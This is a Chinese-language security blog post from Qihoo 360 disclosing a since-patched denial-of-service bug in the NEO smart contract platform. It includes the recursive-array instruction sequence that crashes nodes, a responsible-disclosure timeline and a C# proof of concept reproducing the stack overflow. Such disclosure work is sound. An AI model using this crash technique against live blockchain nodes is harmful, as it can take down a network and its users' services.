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neo智能合约平台Runtime_Serialize调用拒绝服务漏洞

奇虎360技术博客 26 阅读

Zhiniang Peng from Qihoo 360 core security
pengzhiniang@360.cn

NEO是一个非盈利的社区化的区块链项目。它是利用区块链技术和数字身份进行资产数字化,利用智能合约对数字资产进行自动化管理,实现“智能经济”的一种分布式网络。目前Neo市值在coinmarket上排名全球第十五,是备受关注的区块链项目之一。我们在neo智能合约平台中发现一处拒绝服务漏洞,攻击者可利用该漏洞在瞬间使得整个neo网络崩溃。

Neo智能合约平台为合约提供了序列化虚拟机栈上某个对象的系统调用System.Runtime.Serialize。该调用再处理合约请求时未考虑到数组嵌套等问题,将导致智能合约系统平台crash。由于Neo目前是有7个主节点负责验证并打包全网交易。恶意用户将利用该漏洞的恶意合约发布到neo网络中,7个主节点在解析运行该恶意合约时将引发崩溃,进而导致整个neo网络拒绝服务。漏洞细节如下:
System.Runtime.Serialize系统调用会将用户可执行栈顶元素pop出来,然后调用SerializeStackItem函数进行序列化。SerializeStackItem函数内容如下:

大意是:当合约调用System.Runtime.Serialize系统调用的时候,会对pop出虚拟机栈上的第一个元素(参数StackItem item),然后进行SerializeStackItem序列化操作,写到binarywriter writer中。SerializeStackItem判断该元素类型,然后进行不同的序列化操作。

其中StackItem有很多类型。如果是数组array类型的话。就会将array的大小和子元素全部再进行一次序列化操作。这里的array是neo自定义的类型。本质上是一个List。此处没有考虑攻击者可能将数组a作为子元素再加入到数组a中。即 a.Add(a)。如果此时再对a进行反序列化,则会进入无限循环。直到程序栈空间耗尽。触发栈溢出异常StackOverflowException。

实际上在Neo虚拟机代码中,我们可以看到虚拟机执行的外层已经对任意异常了捕捉,如下:

但该异常捕捉无法处理StackOverflowException异常。在.net中StackOverflowException 异常会导致整个进程退出,无法catch该异常。进而导致整个neo节点进程直接崩溃。
攻击虚拟机指令: push(a), dup(), dup(), appen(), System.Runtime.Serialize()
则可导致栈溢出异常,程序直接崩溃。【同理,stuct结构,map结构一样可以利用该漏洞】。

值得一提的是,在我们邮件给Neo官方通知漏洞后7分钟内。Neo创始人之一的Erik Zhang就直接回复邮件确认漏洞存在,并在一个小时内提交漏洞修复。效率相当之高。 官方的对该漏洞修复非常干净,通过增加一个序列化后元素的列表List来防止我们攻击中的这种迭代引用。详细见下图:

漏洞时间线:
2018/8/15 15:00发现并测试漏洞
2018/8/15 18:57邮件给Neo官方漏洞细节
2018/8/15 19:04 Neo官方回复确认漏洞存在
2018/8/15 20:00 Neo创始人Erik Zhang提交漏洞修复

PoC:

. using System;
. using System.Collections.Generic;
. using System.IO;
. using System.Linq;
. using System.Text;
. using System.Threading.Tasks;
. using Neo;
. using Neo.IO;
. using Neo.SmartContract;
. using Neo.VM;
. using Neo.VM.Types;
. using VMArray = Neo.VM.Types.Array;
. using VMBoolean = Neo.VM.Types.Boolean;
.
. namespace ConsoleApp2
. {
. class Program
. {
. public static void SerializeStackItem(StackItem item, BinaryWriter writer)
. {
. switch (item)
. {
. case ByteArray _:
. writer.WriteVarBytes(item.GetByteArray());
. break;
. case VMBoolean _:
. writer.Write(item.GetBoolean());
. break;
. case Integer _:
. writer.WriteVarBytes(item.GetByteArray());
. break;
. case InteropInterface _:
. throw new NotSupportedException();
. case VMArray array:
. writer.WriteVarInt(array.Count);
. foreach (StackItem subitem in array)
. SerializeStackItem(subitem, writer);
. break;
. case Map map:
. writer.WriteVarInt(map.Count);
. foreach (var pair in map)
. {
. SerializeStackItem(pair.Key, writer);
. SerializeStackItem(pair.Value, writer);
. }
. break;
. }
. }
. static void Main(string[] args)
. {
. VMArray a,b;
. a = new VMArray();
. b = new VMArray();
. a.Add(1);
. b.Add(2);
. MemoryStream ms = new MemoryStream();
. BinaryWriter writer = new BinaryWriter(ms);
.
. RandomAccessStack Stack = new RandomAccessStack();
. Stack.Push(a);
. Stack.Push(Stack.Peek());
. Stack.Push(Stack.Peek());
. StackItem newItem = Stack.Pop();
. StackItem arrItem = Stack.Pop();
. if (arrItem is VMArray aray)
. {
. aray.Add(newItem);
. }
. try
. {
. SerializeStackItem(Stack.Pop(), writer);
. }
. catch (NotSupportedException)
. {
. Console.WriteLine("NotSupportedException");
. }
. catch (StackOverflowException)
. {
. Console.WriteLine("StackOverflowException");
. }
. writer.Flush();
.
. Console.WriteLine(ms.ToArray().ToHexString());
.
.
. }
. }

程序运行结果:

作者:奇虎360技术博客
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